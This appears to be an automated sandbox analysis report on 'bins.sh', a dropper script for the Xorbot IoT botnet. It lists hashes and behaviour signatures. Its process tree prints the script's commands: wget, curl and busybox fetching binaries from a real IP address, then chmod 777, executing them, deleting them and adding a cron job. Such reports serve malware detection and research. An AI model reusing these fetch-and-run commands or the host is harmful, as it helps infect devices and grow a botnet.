Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-12-2024 00:49

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f05da6a5f1c558bd14134bace343c53b

  • SHA1

    802bad5f79db08727638201f735df65f813a3d71

  • SHA256

    ab9cf57b69b0f3988a832c77e08ee2799b5e1623bf927cc77f48879aae9fc01e

  • SHA512

    131f0a3d6c279ba5c6bfc52032768bd4e67ac9c6852f05de87e97b8028c2c02467e4d78b9afbbc2c859779007ec3d3f2b14df504c6f378785a27666b65126817

  • SSDEEP

    192:IF6LkGoyxtdO2TFTFhjxDYQ4E8N9tquGiRN9tquEhjxDYQ7FvFTvTxtdO2V:I8LkGoyxtdO2TFTFhjxDYQ4E8N9tquGv

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1739) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          ./wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            ./YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
              • Writes file to tmp directory
              PID:743
            • /bin/chmod
              chmod 777 PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
              • File and Directory Permissions Modification
              PID:746
            • /tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              ./PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:747
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:750
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:751
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:753
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:754
                  • /bin/rm
                    rm PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
                    2⤵
                      PID:757
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                      2⤵
                        PID:804
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                        2⤵
                          PID:850
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                          2⤵
                          • Writes file to tmp directory
                          PID:856
                        • /bin/chmod
                          chmod 777 CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                          2⤵
                          • File and Directory Permissions Modification
                          PID:863
                        • /tmp/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                          ./CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                          2⤵
                          • Executes dropped EXE
                          PID:864
                        • /bin/rm
                          rm CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                          2⤵
                            PID:866
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                            2⤵
                              PID:868
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                              2⤵
                                PID:869
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                                2⤵
                                • Writes file to tmp directory
                                PID:871
                              • /bin/chmod
                                chmod 777 YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                                2⤵
                                • File and Directory Permissions Modification
                                PID:876
                              • /tmp/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                                ./YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                                2⤵
                                • Executes dropped EXE
                                PID:877
                              • /bin/rm
                                rm YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                                2⤵
                                  PID:880
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                                  2⤵
                                    PID:881
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                                    2⤵
                                      PID:883
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:885
                                    • /bin/chmod
                                      chmod 777 DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:890
                                    • /tmp/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                                      ./DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                                      2⤵
                                      • Executes dropped EXE
                                      PID:891
                                    • /bin/rm
                                      rm DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                                      2⤵
                                        PID:906
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK40
                                        2⤵
                                          PID:909
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK40
                                          2⤵
                                            PID:911

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2

                                          Filesize

                                          151KB

                                          MD5

                                          6c583043d91c55aa470c08c87058e917

                                          SHA1

                                          abf65a5b9bba69980278ad09356e53de8bb89439

                                          SHA256

                                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                          SHA512

                                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                        • /tmp/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U

                                          Filesize

                                          111KB

                                          MD5

                                          701e7a55a4f3650f5feee92a9860e5fc

                                          SHA1

                                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                          SHA256

                                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                          SHA512

                                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                        • /tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2

                                          Filesize

                                          127KB

                                          MD5

                                          89077b7bd4bcafca7713be43635c4862

                                          SHA1

                                          fc02edb8fba29ea8ee99e6157ef8560334530052

                                          SHA256

                                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                          SHA512

                                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                        • /tmp/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq

                                          Filesize

                                          141KB

                                          MD5

                                          3ca8decdb1e52c423c521bfff02ac200

                                          SHA1

                                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                                          SHA256

                                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                          SHA512

                                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                        • /tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg

                                          Filesize

                                          177KB

                                          MD5

                                          786d75a158fe731feca3880f436082c0

                                          SHA1

                                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                          SHA256

                                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                          SHA512

                                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                        • /var/spool/cron/crontabs/tmp.BsrFW4

                                          Filesize

                                          210B

                                          MD5

                                          316e52a8256d2f6a237fcca702c6243d

                                          SHA1

                                          7631f79d41480970ee1c3a0dec72b6c93019ff2a

                                          SHA256

                                          852e876b3d9aeb929fcc567118e16143b4febe6215900897456ff14504e5a22d

                                          SHA512

                                          4e4baf5d7e3b9e490a0ae4d485cbadf1b6609e2b1119d5d72b04ba197a39bf074f16a2909705fb2042088926d2fe7dbae59796939447e95fd9ed41f9eceba95a